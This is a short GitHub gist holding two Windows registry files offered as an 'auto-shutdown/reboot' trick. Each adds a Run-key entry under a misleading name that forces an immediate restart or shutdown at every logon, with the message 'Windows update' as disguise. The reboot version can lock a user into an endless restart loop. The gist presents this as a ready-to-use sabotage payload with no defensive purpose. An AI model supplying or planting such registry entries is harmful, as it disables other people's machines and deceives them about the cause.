Skip to content

Instantly share code, notes, and snippets.

@saihtaM
Created April 4, 2013 11:56
Show Gist options
  • Save saihtaM/5309782 to your computer and use it in GitHub Desktop.
Save saihtaM/5309782 to your computer and use it in GitHub Desktop.
Windows auto-shutdown/reboot.
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"MicrosoftPorn"="shutdown.exe /r /l /f /c /t:0 \"Windows update\""
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"MicrosoftPorn"="shutdown.exe /s /l /f /c /t:0 \"Windows update\""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment